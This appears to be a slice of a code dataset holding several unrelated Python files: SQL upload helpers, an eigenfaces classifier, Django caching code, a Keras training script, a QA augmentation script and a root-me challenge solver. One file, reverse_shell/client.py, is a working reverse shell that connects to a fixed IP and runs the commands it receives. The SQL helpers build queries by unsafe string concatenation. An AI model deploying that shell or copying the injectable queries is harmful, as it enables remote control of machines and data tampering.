utf-8 -*-\n\"\"\"\nuse by weekly report, upload data to sql express\n\n@author: WeiDengt\n\"\"\"\nimport pyodbc\nimport datetime\n\nclass ToMSSQL:\n def __init__(self):\n self.conn=pyodbc.connect('Driver={SQL Server};'\n 'Server=AES-RPT01\\SQLEXPRESS;'\n 'Database=WeeklyTKSummary;'\n 'Trusted_Connection=yes;')\n \n def insertCompletedTK(self,df):\n \n cursor=self.conn.cursor()\n \n #del old records before insert new records\n cursor.execute(\"delete from dbo.CompletedTickets\")\n \n for i in range(len(df)):\n #replace \"'\" and \"\"\" to \"\" before insert into database table\n \n title=str(df['TicketTitle'][i]).replace(\"'\",\"\")\n title=title.replace('\"','')\n values_str=\"('\"+df['FullName'][i]+\"','\"+df['TicketNumber'][i]+\"','\"+title+\"','\"+str(df['IssueType'][i])+\"','\"+df['SubIssueType'][i]+\"','\"+str(df['CreateDateTime'][i])+\"','\"+str(df['FirstAssignedDateTime'][i])+\"','\"+str(df['SLAFirstResponseDateTime'][i])+\"','\"+str(df['SLAResolvedDateTime'][i])+\"','\"+str(df['Status'][i])+\"','\"+str(df['Account'][i])+\"','\"+str(df['Queue'][i])+\"')\"\n sqlstr=\"insert into [dbo].[CompletedTickets] ([FullName],[TicketNumber],[TicketTitle],[IssueType],[SubIssueType],[CreateDateTime],[FirstAssignedDateTime],[SLAFirstResponseDateTime],[SLAResolvedDateTime],[Status],[Account],[Queue]) VALUES \" +values_str \n cursor.execute(sqlstr)\n \n \n self.conn.commit()\n \n #self.conn.close()\n\n \n def insertAssignedTK(self,df):\n\n cursor=self.conn.cursor()\n \n #del old records before insert new records\n cursor.execute(\"delete from AssignedTickets\")\n\n for i in range(len(df)):\n \n title=str(df['TicketTitle'][i]).replace(\"'\",\"\")\n title=title.replace('\"','')\n \n values_str=\"('\"+df['FullName'][i]+\"','\"+df['TicketNumber'][i]+\"','\"+title+\"','\"+df['Account'][i]+\"','\"+str(df['SLAStartDateTime'][i])+\"','\"+str(df['SLAFirstResponseDateTime'][i])+\"','\"+str(df['FirstAssignedDateTime'][i])+\"','\"+df['IssueType'][i]+\"','\"+df['SubIssueType'][i]+\"','\"+str(df['Status'][i])+\"','\"+str(df['Queue'][i])+\"')\"\n sqlstr=\"insert into [dbo].[AssignedTickets] ([FullName],[TicketNumber],[TKTitle],[AccountName],[SLAStartDateTime],[SLAFirstResponseDate],[FirstAssigned],[Issue],[SubIssue],[Status],[Queue]) VALUES\" +values_str \n cursor.execute(sqlstr)\n #print(i)\n \n self.conn.commit()\n \n #self.conn.close()\n \n \n def insertIdleTK(self,df):\n cursor=self.conn.cursor()\n \n #del old records before insert new records\n cursor.execute(\"delete from idleNotification\")\n\n for i in range(len(df)):\n \n title=str(df['TKTitle'][i]).replace(\"'\",\"\")\n title=title.replace('\"','')\n \n values_str=\"('\"+str(df['sentDate'][i])+\"','\"+df['Resource'][i]+\"','\"+df['TKNum'][i]+\"','\"+title+\"','\"+str(int(df['IdleHours'][i]))+\"')\"\n sqlstr=\"insert into [dbo].[idleNotification] ([sentDate],[Resource],[TKNum],[TKTitle],[IdleHours]) VALUES\" +values_str \n cursor.execute(sqlstr)\n #print(i)\n \n self.conn.commit()\n \n #self.conn.close() \n\n\n def insertSLANotMetTK(self,df):\n\n cursor=self.conn.cursor()\n \n #del old records before insert new records\n cursor.execute(\"delete from SLA_No\")\n\n for i in range(len(df)):\n \n values_str=\"('\"+df['TKNumber'][i]+\"','\"+df['AccountName'][i]+\"','\"+df['Priority'][i]+\"','\"+df['Status'][i]+\"','\"+df['ContactName'][i]+\"','\"+df['Source'][i]+\"','\"+df['Issue'][i]+\"','\"+df['SubIssue'][i]+\"','\"+str(df['FRDateTime'][i])+\"','\"+str(df['FRDueDateTime'][i])+\"','\"+str(int(df['FR_SLAMet'][i]))+\"','\"+str(df['SLVDateTime'][i])+\"','\"+str(df['SLVDueDateTime'][i])+\"','\"+str(int(df['Actual SLA Met Tickets'][i]))+\"','\"+str(df['QueueID'][i])+\"','\"+str(int(df['Final'][i]))+\"')\"\n sqlstr=\"insert into [dbo].[SLA_No] ([TKNumber],[AccountName],[Priority],[Status],[ContactName],[Source],[Issue],[SubIssue],[FRDateTime],[FRDueDateTime],[FR_SLAMet],[SLVDateTime],[SLVDueDateTime],[ActualSLAMetTickets],[QueueID],[Final]) VALUES\" +values_str \n cursor.execute(sqlstr)\n #print(i)\n \n self.conn.commit()\n \n #self.conn.close()\n\n\n def insertWorkHoursTK(self,df):\n \n cursor=self.conn.cursor()\n \n #del old records before insert new records\n cursor.execute(\"delete from WorkedHours\")\n\n for i in range(len(df)):\n \n title=str(df['TKTitle'][i]).replace(\"'\",\"\")\n title=title.replace('\"','')\n \n values_str=\"('\"+df['FullName'][i]+\"','\"+str(df['HoursWorked'][i])+\"','\"+df['ProjectName'][i]+\"','\"+df['ProjectStatus'][i]+\"','\"+str(df['AccountName'][i])+\"','\"+title+\"','\"+str(df['TKNum'][i])+\"','\"+str(df['WorkedDate'][i])+\"','\"+df['Queue'][i]+\"','\"+df['Issue'][i]+\"','\"+str(df['SubIssue'][i])+\"')\"\n sqlstr=\"insert into [dbo].[WorkedHours] ([FullName],[HoursWorked],[ProjectName],[ProjectStatus],[AccountName],[TaskorTicketTitle],[TaskTicketNumber],[WorkedDate],[QueueName],[Issue],[SubIssue]) VALUES\" +values_str \n cursor.execute(sqlstr)\n #print(i)\n \n self.conn.commit()\n \n def updateDocControl(self,lastUpdate,timeDiff):\n \n cursor=self.conn.cursor()\n \n #del old records before insert new records\n cursor.execute(\"delete from DocControl\")\n \n values_str=\"('Title: ','Ticket Summary for Current week')\"\n sqlstr=\"insert into [dbo].[DocControl] ([DocControlItem],[Value]) VALUES\" +values_str \n cursor.execute(sqlstr)\n \n updatedAt=lastUpdate+datetime.timedelta(hours=timeDiff)\n last=str(updatedAt.year)+\"-\"+str(updatedAt.month)+\"-\"+str(updatedAt.day)+\" \"+str(updatedAt.hour)+\":00\"\n values_str=\"('Last Update:','\"+str(last)+\"')\"\n sqlstr=\"insert into [dbo].[DocControl] ([DocControlItem],[Value]) VALUES\" +values_str \n cursor.execute(sqlstr)\n self.conn.commit()\n #self.conn.close()\n\n## \n# def closeConn(self):\n# self.conn.close()\n \n","sub_path":"WeeklyOnlinePBI/Weekly_Report_toSQLEXPClassFile.py","file_name":"Weekly_Report_toSQLEXPClassFile.py","file_ext":"py","file_size_in_byte":6447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"229254397","text":"import os\nimport socket\nimport subprocess\n\ns = socket.socket()\nhost = '192.168.105.102'\nport = 9998\ns.connect((host,port))\n\nwhile True:\n\tdata = s.recv(1024)\n\tif data[:2].decode(\"utf-8\") == 'cd':\n\t\tos.chdir(data[3:].decode(\"utf-8\"))\n\n\tif len(data) > 0:\n\t\tcommand = subprocess.Popen(data[:].decode(\"utf-8\"),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n\t\toutput_bytes = command.stdout.read() + command.stderr.read()\n\t\toutput_string = str(output_bytes,\"utf-8\")\n\t\ts.send(str.encode(output_string + str(os.getcwd()) + '>' ))\n\t\tprint(output_string)\n\ns.close()","sub_path":"reverse_shell/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"572895959","text":"# Take2\n#second attempt at learning terminal commands\ndef demographics():\n name = input(\"What's your name? \")\n age = int(input(\"\\nHow old are you? \"))\n if(age >= 21):\n print(\"\\nGood. Proceed to the next processing phase:\")\n else:\n print(\"\\nYou're not old enough. Please exit the premises\")\n return\n return name\ndef specialties():\n print(\"\\nPlease enter your experience/specialties from the following list:\")\n print(\"\\nhand2hand\\tsabotage\\tdemolition\\tespionage\\nrecon\\tcyber\\tfirearms\\tsurveillance\\ninterrogation\")\n skills = str(input(\"\\nMy skills are: \"))\n#Still working on having specialties function distinguish different skills for work assignment\n if(skills == 'cyber' or 'surveillance'):\n#ineffective\n print(\"\\nYou will work in hq\")\n elif(skills == \"hand2hand\" or \"interrogation\" or \"demolition\" or \"recon\" or \"sabotage\"):\n#ineffective\n print(\"\\nThe field is where you belong\")\n else:\n print(\"Unfortunately, the CIA does not need your services\")\n return\n print(\"\\nThanks for choosing the Central Intelligence Agency as your place of occuptation\")\n \ndef experience():\n xp = int(input(\"How many years of experience do you have?\"))\n\ndef main():\n demographics()\n specialties()\n# experience()\nmain()\n","sub_path":"CIA_Vetting.py","file_name":"CIA_Vetting.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"616430379","text":"# USAGE\n# python eigenfaces.py --input caltech_faces --visualize 1\n\n# import the necessary packages\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.decomposition import PCA\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\nfrom skimage.exposure import rescale_intensity\nfrom face import load_face_dataset\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom imutils import build_montages\nimport numpy as np\nimport argparse\nimport imutils\nimport time\nimport cv2\nimport os\n\n# input argument\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--input\", type=str, required=True,help=\"path to input directory of images\")\nap.add_argument(\"-f\", \"--face\", type=str,default=\"face_detector\",help=\"path to face detector model directory\")\nap.add_argument(\"-c\", \"--confidence\", type=float, default=0.5,help=\"minimum probability to filter weak detections\")\nap.add_argument(\"-n\", \"--num-components\", type=int, default=150,help=\"# of principal components\")\nap.add_argument(\"-m\",\"--classifier\",type=str,default='svm')\nargs = vars(ap.parse_args())\n\n# load face detector\nprint(\"[INFO] loading face detector model...\")\nprototxtPath = os.path.sep.join([args[\"face\"], \"deploy.prototxt\"])\nweightsPath = os.path.sep.join([args[\"face\"],\"res10_300x300_ssd_iter_140000.caffemodel\"])\nnet = cv2.dnn.readNet(prototxtPath, weightsPath)\n\n# load the image dataset\nprint(\"[INFO] loading dataset...\")\n(faces, labels) = load_face_dataset(args[\"input\"], net,minConfidence=0.8, minSamples=5)\nprint(\"[INFO] {} images in dataset\".format(len(faces)))\n\n# flatten 2d data into 1D data\npcaFaces = np.array([f.flatten() for f in faces])\n\n# encode the string labels as integers\nle = LabelEncoder()\nlabels = le.fit_transform(labels)\n\n# construct our training and testing split\nsplit = train_test_split(faces, pcaFaces, labels, test_size=0.25,stratify=labels, random_state=42)\n(origTrain, origTest, trainX, testX, trainY, testY) = split\n\n# compute the PCA (eigenfaces) representation of the data, then\n# project the training data onto the eigenfaces subspace\nprint(\"[INFO] creating eigenfaces...\")\npca = PCA(svd_solver=\"randomized\",n_components=args[\"num_components\"],whiten=True)\nstart = time.time()\ntrainX = pca.fit_transform(trainX)\nend = time.time()\nprint(\"[INFO] computing eigenfaces took {:.4f} seconds\".format(end - start))\n\n\n#model selection\nif args[\"classifier\"]=='svm':\n model = SVC(kernel=\"rbf\", C=10.0, gamma=0.001, random_state=42)\nelif args[\"classifier\"]=='knn':\n model=KNeighborsClassifier(n_neighbors=3,weights=\"distance\")\nelif args[\"classifier\"]=='lda':\n model=LinearDiscriminantAnalysis()\nelse:\n print('input correct classifier!')\n exit(-1)\n# train a classifier on the eigenfaces representation\nprint(\"[INFO] training classifier...\")\nmodel.fit(trainX, trainY)\n\n# evaluate the model\nprint(\"[INFO] evaluating model...\")\npredictions = model.predict(pca.transform(testX))\nprint('{} prediction :'.format(args[\"classifier\"]))\nprint(classification_report(testY, predictions,target_names=le.classes_))\n\n","sub_path":"eigenfaces.py","file_name":"eigenfaces.py","file_ext":"py","file_size_in_byte":3148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"391679822","text":"import datetime\nimport hashlib\nimport logging\ntry:\n unicode = unicode\nexcept NameError: # 'unicode' is undefined => Python 3\n unicode = str\n bytes = bytes\n basestring = (str, bytes)\nelse: # 'unicode' exists => Python 2\n unicode = unicode\n bytes = str\n basestring = basestring\n\nfrom django.conf import settings\nfrom django.core.cache import cache as default_cache\nfrom django.core.cache.backends.base import InvalidCacheBackendError\nfrom django.db.models import Model\nfrom django.utils import encoding, translation\n\nfrom .compat import get_cache, DEFAULT_TIMEOUT\n\n# Look for an own cache first before falling back to the default cache\ntry:\n cache = get_cache('cache_machine')\nexcept (InvalidCacheBackendError, ValueError):\n cache = default_cache\n\n\nCACHE_PREFIX = getattr(settings, 'CACHE_PREFIX', '')\nFETCH_BY_ID = getattr(settings, 'FETCH_BY_ID', False)\nFLUSH = CACHE_PREFIX + ':flush:'\n\nlog = logging.getLogger('caching.invalidation')\n\n\ndef make_key(k, with_locale=True):\n \"\"\"Generate the full key for ``k``, with a prefix.\"\"\"\n key = encoding.smart_str('%s:%s' % (CACHE_PREFIX, k))\n if with_locale:\n key += encoding.smart_str(translation.get_language())\n # memcached keys must be < 250 bytes and w/o whitespace, but it's nice\n # to see the keys when using locmem.\n return hashlib.md5(key.encode('utf-8')).hexdigest()\n\n\ndef get_root_key(model):\n key = getattr(model, '__caching_root_key', None)\n if not key:\n # In case of inheritance, ensure the base model is always used as the root key.\n classes = [model]\n base_model = model\n while classes:\n class_ = classes.pop(0)\n if issubclass(class_, Model):\n base_model = class_\n classes += list(class_.__bases__)\n\n key = make_key('caching:root:%s' % hash(base_model))\n model.__caching_root_key = key\n return key\n\n\ndef cache_get(model, key, default=None):\n \"\"\"\n Retrieves the cache item for the given key.\n A two-layer invalidation scheme is used; the model class is used to generate the final key.\n\n model: subclass of BaseModel\n key: string\n default: anything or None\n\n returns: anything or None\n \"\"\"\n root_key = get_root_key(model)\n prefix = cache.get(root_key)\n if prefix is None:\n return default\n\n key = make_key(prefix + key)\n return cache.get(key, default=default)\n\n\ndef cache_set(model, key, value, timeout=None, root_key=None, root_timeout=None):\n \"\"\"\n Sets the cache item for the given key.\n A two-layer invalidation scheme is used; the model class is used to generate the final key.\n\n model: subclass of BaseModel\n key: string\n value: anything\n timeout: int or None\n root_timeout: int or None\n\n returns: None\n \"\"\"\n if root_timeout is None:\n root_timeout = DEFAULT_TIMEOUT\n if timeout is None:\n timeout = DEFAULT_TIMEOUT\n\n root_key = get_root_key(model)\n prefix = cache.get(root_key)\n if prefix is None:\n prefix = datetime.datetime.now().isoformat()\n cache.set(root_key, prefix, root_timeout)\n\n key = make_key(prefix + key)\n cache.set(key, value, timeout)\n\n\ndef cache_set_many(model, items, timeout=None, root_key=None, root_timeout=None):\n \"\"\"\n Sets multiple cache key-item pairs.\n A two-layer invalidation scheme is used; the model class is used to generate the final key.\n\n model: subclass of BaseModel\n items: {key (anythin): value (anything)}\n timeout: int or None\n root_timeout: int or None\n\n returns: None\n \"\"\"\n if root_timeout is None:\n root_timeout = DEFAULT_TIMEOUT\n if timeout is None:\n timeout = DEFAULT_TIMEOUT\n\n root_key = make_key('caching:root:%s' % hash(model))\n prefix = cache.get(root_key)\n if prefix is None:\n prefix = datetime.datetime.now().isoformat()\n cache.set(root_key, prefix, root_timeout)\n\n items = {make_key(prefix + key): value for key, value in items.items()}\n cache.set_many(items, timeout=timeout)\n\n\ndef cache_clear_root(model):\n \"\"\"\n Clears the root key for the given model.\n \"\"\"\n root_key = get_root_key(model)\n cache.delete(root_key)\n\n\ndef byid(obj):\n key = obj if isinstance(obj, basestring) else obj.cache_key\n return make_key('byid:' + key)\n","sub_path":"caching/invalidation.py","file_name":"invalidation.py","file_ext":"py","file_size_in_byte":4312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"432252385","text":"import codecs\n\nfrom setuptools import setup, find_packages\n\npackages = find_packages(include=['bloomberg', 'bloomberg.*'])\n\nwith codecs.open('README.md','r','utf-8') as f:\n readme = f.read()\n\nsetup(\n name='bloomberg-api',\n author='Quassel',\n author_email='sandro.braun@quassel.li',\n version='0.1',\n description='Wrapper for the bloomberg API',\n keywords=['bloomberg', 'finance', 'data'],\n long_description=readme,\n packages=packages\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"40010679","text":"from keras.preprocessing.image import ImageDataGenerator\nfrom keras.applications import MobileNetV2, ResNet50\nfrom keras.layers import Dense, Flatten, AveragePooling2D, Dropout\nfrom keras.models import Model\nfrom keras.optimizers import Adam\nfrom keras import backend as K\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau, TensorBoard\nimport numpy as np\nimport argparse\nimport sys\n\n# Constant values\nN_SAMPLES_TRAIN = 498\nVAL_SPLIT = 0.2\nN_TRAIN_SAMPLES = int(N_SAMPLES_TRAIN * (1 - VAL_SPLIT) + 1)\nN_VAL_SAMPLES = int(N_SAMPLES_TRAIN * VAL_SPLIT)\nIMAGE_WIDTH = IMAGE_HEIGHT = 256\nBATCH_SIZE = 10\n\n# Argparse\nap = argparse.ArgumentParser()\nap.add_argument(\"-m\", \"--model\", choices=[\"MobileNetV2\", \"ResNet50\"], default=\"MobileNetV2\")\nargs = vars(ap.parse_args())\nmodel_type = args[\"model\"]\n\nprint(\"[INFO] Loading data...\")\n\ntrain_dir = \"dataset/train\"\n\n# All images will be rescaled by 1./255\ntrain_datagen = ImageDataGenerator(rescale=1. / 255, validation_split=VAL_SPLIT)\n#train_datagen = ImageDataGenerator(rescale=1. / 255, rotation_range=45, zoom_range=0.15, width_shift_range=0.2,\n# height_shift_range=0.2, horizontal_flip=True, validation_split=VAL_SPLIT)\n\ntrain_generator = train_datagen.flow_from_directory(train_dir, target_size=(IMAGE_HEIGHT, IMAGE_WIDTH), shuffle=True,\n seed=13, batch_size=BATCH_SIZE, class_mode='binary',\n subset=\"training\")\nval_generator = train_datagen.flow_from_directory(train_dir, target_size=(IMAGE_HEIGHT, IMAGE_WIDTH), shuffle=True,\n seed=13, batch_size=BATCH_SIZE, class_mode='binary',\n subset=\"validation\")\n\nK.clear_session()\n\nprint(\"[INFO] Compiling model...\")\n# Model definition\nshape = (IMAGE_HEIGHT, IMAGE_WIDTH, 3)\nif model_type == \"MobileNetV2\":\n base_model = MobileNetV2(input_shape=shape, weights='imagenet', include_top=False)\nelif model_type == \"ResNet50\":\n base_model = ResNet50(input_shape=shape, weights='imagenet', include_top=False)\nelse:\n sys.exit(\"Error in model name\")\nhead_model = base_model.output\nhead_model = AveragePooling2D(pool_size=(4, 4))(head_model)\nhead_model = Flatten(name=\"flatten\")(head_model)\nhead_model = Dense(128, activation=\"relu\")(head_model)\nhead_model = Dropout(0.5)(head_model)\nhead_model = Dense(1, activation=\"sigmoid\")(head_model)\nmodel = Model(inputs=base_model.input, outputs=head_model)\nprint(model.summary())\n\n# Callbacks definitions\nlr_scheduler = ReduceLROnPlateau(monitor='val_loss', factor=0.1, patience=5, min_lr=1e-9)\nearly_stop = EarlyStopping(monitor=\"val_loss\", mode='min', verbose=1, patience=20)\nif model_type == \"MobileNetV2\":\n mcp_save = ModelCheckpoint('MobileNetV2_wts.hdf5', save_best_only=True, monitor=\"val_loss\", mode='min')\nelif model_type == \"ResNet50\":\n mcp_save = ModelCheckpoint('ResNet50_wts.hdf5', save_best_only=True, monitor=\"val_loss\", mode='min')\ntb = TensorBoard(log_dir=\"logs\")\ncallbacks_list = [early_stop, mcp_save, lr_scheduler, tb]\n\n# Optimizer definition\nopt = Adam(lr=1e-5)\nmodel.compile(loss=\"binary_crossentropy\", optimizer=opt, metrics=[\"accuracy\"])\n\nprint(\"[INFO] Training model...\")\nhistory = model.fit_generator(train_generator, epochs=100, steps_per_epoch=N_TRAIN_SAMPLES // BATCH_SIZE,\n validation_data=val_generator, validation_steps=N_VAL_SAMPLES // BATCH_SIZE, verbose=2,\n callbacks=callbacks_list)\n\n# Best accuracy\n[best_loss, best_ep] = [np.min(history.history[\"val_loss\"]), np.argmin(history.history[\"val_loss\"])]\n\nprint(\"Best loss: {:.4f} Epoch: {}\".format(best_loss, best_ep))\n","sub_path":"pretrained.py","file_name":"pretrained.py","file_ext":"py","file_size_in_byte":3757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"280419393","text":"import json\n# for now we import sys for fast research \nimport sys\nimport random\n\ndef main():\n\t# usage: python3 agumentate_policy.py policy_file.json positive_sub_sampling new.json\n\t# opening the json file\n\tfile = open(sys.argv[1], \"r\")\n\n\t# dictionary keys for better create documents\n\tfields = ['QUESTION_ID', 'QUESTION_TITLE', 'QUESTION_TEXT', 'DOCUMENT', 'ANSWER', 'START_OFFSET', 'END_OFFSET', 'ANSWERABLE', 'DOC_IDS']\n\n\t# return json object (list of dictionary)\n\tdata = json.load(file)\n\n\tprint(data.keys())\n\tprint(len(data[\"data\"]))\n\tprint(data[\"data\"][0].keys())\n\tprint(len(data[\"data\"][0][\"paragraphs\"]))\n\tprint(len(data[\"data\"][0][\"paragraphs\"][0]))\n\tprint(data[\"data\"][0][\"paragraphs\"][0].keys())\t\n\tprint(len(data[\"data\"][0][\"paragraphs\"][0][\"qas\"]))\t\n\tprint(data[\"data\"][0][\"paragraphs\"][0][\"qas\"][0].keys())\n\tprint(len(data[\"data\"][0][\"paragraphs\"][0][\"qas\"][0][\"answers\"]))\n\tc = 0\n\tfor p in data[\"data\"]:\n\t\tfor s in p[\"paragraphs\"]:\n\t\t\tfor qas in s[\"qas\"]:\n\t\t\t\tc += 1\n\tprint(c)\n\n\t\n\n\t# intial new data dictionary\n\tnew_data = {\"version\": data[\"version\"], 'data': []}\n\n\tfor sample in data[\"data\"]: # this is to traverse through the list of policies. \n\t# each policy contains a policy title and the paragaphs.\n\t\t# create new policy to append to new_data dictionary\n\t\tnew_policy = {'title': sample['title'], 'paragraphs': []}\n\t\tfor p in sample['paragraphs']: # each p is a dict {qas, index, context, and summary}\n\t\t\t# create new paragraph here to append to new_policy\n\t\t\tnew_p = {\"qas\": [], \"index\": p[\"index\"], \"context\": p[\"context\"], \"summary\": p[\"summary\"]}\n\t\t\tfor q in p[\"qas\"]: # now getting hold of each question for each p (paragaph) in paragraphS \n\t\t\t\t# first we need to add any question from original p[\"qas\"] to this\n\t\t\t\tif len(q[\"answers\"]) == 0:\n\t\t\t\t\tprint(\"found original empty!!!!!!!!\")\n\t\t\t\tnew_p[\"qas\"].append(q)\n\t\t\t\t# Then using random number here to make sure that we can get the 20%, 40%, 60%, 80% augmentation percentage\n\t\t\t\tif random.random() <= float(sys.argv[2]):\t\n\t\t\t\t\t# create new question (5, 5):\n\t\t\t\t\tnew_q = {\"question\": q[\"question\"], \"type\": q[\"type\"], \"id\": q[\"id\"]+\"1\", \"answers\": []}\n\t\t\t\t\t# traverse through each answer for this question q, and move the window span (10, 10)\n\t\t\t\t\tfor ans in q[\"answers\"]:\n\t\t\t\t\t\tnew_end = ans[\"answer_start\"] + len(ans[\"text\"]) + 5\n\t\t\t\t\t\tnew_start = ans[\"answer_start\"] + 5\n\t\t\t\t\t\t# create new answer for this questions\n\t\t\t\t\t\tnew_ans = {\"text\": p[\"context\"][new_start:new_end], \"answer_start\": new_start}\n\t\t\t\t\t\tif new_start < len(p[\"context\"]):\n\t\t\t\t\t\t\tnew_q[\"answers\"].append(new_ans)\n\t\t\t\t\tif len(new_q[\"answers\"]) != 0:\n\t\t\t\t\t\tnew_p[\"qas\"].append(new_q)\n\n\t\t\t\t\t# create new sample (-5, -5)\n\t\t\t\t\tnew_q = {\"question\": q[\"question\"], \"type\": q[\"type\"], \"id\": q[\"id\"]+\"2\", \"answers\": []}\n\t\t\t\t\t# traverse through each answer for this question q, and move the window span (-10, -10)\n\t\t\t\t\tfor ans in q[\"answers\"]:\n\t\t\t\t\t\tnew_end = ans[\"answer_start\"] + len(ans[\"text\"]) - 5\n\t\t\t\t\t\tnew_start = max(0, ans[\"answer_start\"] - 5)\n\t\t\t\t\t\t# create new answer for this questions\n\t\t\t\t\t\tnew_ans = {\"text\": p[\"context\"][new_start:new_end], \"answer_start\": new_start}\n\t\t\t\t\t\tnew_q[\"answers\"].append(new_ans)\n\t\t\t\t\tif len(new_q[\"answers\"]) != 0:\n\t\t\t\t\t\tnew_p[\"qas\"].append(new_q)\n\t\t\t\n\t\t\t\t\t# create new sample (-5, 0)\n\t\t\t\t\tnew_q = {\"question\": q[\"question\"], \"type\": q[\"type\"], \"id\": q[\"id\"]+\"3\", \"answers\": []}\n\t\t\t\t\t# traverse through each answer for this question q, and move the window span (-15, 0)\n\t\t\t\t\tfor ans in q[\"answers\"]:\n\t\t\t\t\t\tnew_end = ans[\"answer_start\"] + len(ans[\"text\"])\n\t\t\t\t\t\tnew_start = max(0, ans[\"answer_start\"] - 5)\n\t\t\t\t\t\t# create new answer for this questions\n\t\t\t\t\t\tnew_ans = {\"text\": p[\"context\"][new_start:new_end], \"answer_start\": new_start}\n\t\t\t\t\t\tnew_q[\"answers\"].append(new_ans)\n\t\t\t\t\tif len(new_q[\"answers\"]) != 0:\n\t\t\t\t\t\tnew_p[\"qas\"].append(new_q)\n\t\t\t\n\t\t\t\t\t# create new sample (0, -5)\n\t\t\t\t\tnew_q = {\"question\": q[\"question\"], \"type\": q[\"type\"], \"id\": q[\"id\"]+\"4\", \"answers\": []}\n\t\t\t\t\t# traverse through each answer for this question q, and move the window span (0, 15)\n\t\t\t\t\tfor ans in q[\"answers\"]:\n\t\t\t\t\t\tnew_end = ans[\"answer_start\"] + len(ans[\"text\"]) - 5\n\t\t\t\t\t\tnew_start = ans[\"answer_start\"]\n\t\t\t\t\t\t# create new answer for this questions\n\t\t\t\t\t\tnew_ans = {\"text\": p[\"context\"][new_start:new_end], \"answer_start\": new_start}\n\t\t\t\t\t\tnew_q[\"answers\"].append(new_ans)\n\t\t\t\t\tif len(new_q[\"answers\"]) != 0:\n\t\t\t\t\t\tnew_p[\"qas\"].append(new_q)\n\t\t\t\t\t# shuffle the question.\n\t\t\t\t\trandom.shuffle(new_p[\"qas\"])\n\t\t\t# append new paragraph to each new policy, going up one level\n\t\t\tnew_policy[\"paragraphs\"].append(new_p)\n\t\t# going up another level\n\t\t# append new policy to the new_data\n\t\tnew_data['data'].append(new_policy)\t\n\t\n\t# close the file\n\tfile.close()\n\n\tc = 0\n\tfor p in new_data[\"data\"]:\n\t\tfor s in p[\"paragraphs\"]:\n\t\t\tfor qas in s[\"qas\"]:\n\t\t\t\tc += 1\n\t\t\t\tif len(qas[\"answers\"]) == 0:\n\t\t\t\t\tprint(\"empty answer!!!!!!\")\n\tprint(c)\n\n\t# dump agumented data to new json file\n\twith open(sys.argv[3], 'w') as outfile:\n\t\tjson.dump(new_data, outfile)\n\n# call main for function to start:\nif __name__ == '__main__':\n\tmain()","sub_path":"agumentation/agumentate_policy.py","file_name":"agumentate_policy.py","file_ext":"py","file_size_in_byte":5070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"215545930","text":"from goods.Good import *\nfrom enums.GoodsType import *\nfrom enums.GoodsColour import *\n\n\nclass Cleaners(Good):\n goods_type = GoodsType.CLEANERS\n goods_colour = GoodsColour.BLUE\n\n def __init__(self, name, price, amount, id, manufacturer, goods_colour, goods_type):\n super().__init__(id, name, manufacturer, price, amount, goods_colour, goods_type)\n self.name = name\n self.price = price\n self.amount = amount\n\n def __str__(self):\n return \"Good type: \" + str(self.goods_type.value) + \" Price: \" + str(self.price) + \" Amount: \" + str(self.amount)\n","sub_path":"Lab4/goods/Cleaners.py","file_name":"Cleaners.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"326107374","text":"import requests\n# s = requests.session()\n# r = s.get(\"http://challenge01.root-me.org/programmation/ch1/\")\n#\n# div = r.text.split(\"\")\n#\n# recupUn1 = div[1].split(\"
    \")[0]\n# recup2Un1 = recupUn1.split(\"=\")[1]\n# recup3Un1 = recup2Un1.replace('','')\n# Un1 = recup3Un1.replace('','').strip()\n# Un1 = Un1.replace('[','(')\n# Un1 = Un1.replace(']',')')\n#\n# recupUn0 = div[1].split(\"
    \")[1]\n# Un0 = recupUn0.split(\"=\")[1].strip()\n#\n# recupIteration = div[1].split(\"
    \")[2]\n# recup2Iteration = recupIteration.split(\"\")[1]\n# iteration = recup2Iteration.split(\"\")[0].strip()\n#\n# p1 = Un1.split(\")\")\n# p1s = p1[0].replace(\"(\",\"\")\n# nombreP1 = p1s.split(\"+\")[0]\n# nombreP1 = nombreP1.strip()\n#\n# p2 = Un1.split(\"(\")[2]\n# p2s = p2.replace(\")\",\"\")\n# nombreP2 = p2s.split(\"*\")[1]\n# nombreP2 = nombreP2.strip()\n#\n# def u(n):\n# U = int(Un0)\n# for i in range (0,n+1):\n# U =(int(nombreP1)+U)-(i*int(nombreP2))\n# #endfor\n# return U\n# #enddef\n# res = u(int(iteration))\n#\n# data = {\"result\":str(res)}\n# reponse = s.get(\"http://challenge01.root-me.org/programmation/ch1/ep1_v.php\", params=data)\n#\n# print(reponse.url)\n# print(reponse.text)\n# print(reponse.cookies)\n#\n# print(r.cookies)\n\ns = requests.session()\nresponse = s.get(\"http://challenge01.root-me.org/programmation/ch1/\")\n\ndiv = response.text.split(\"\")\n\nUn1 = div[1].split(\"
    \")[0].split(\"=\")[1].replace('','').replace('','').strip().replace('[','(').replace(']',')')\nUn0 = div[1].split(\"
    \")[1].split(\"=\")[1].strip()\niteration = div[1].split(\"
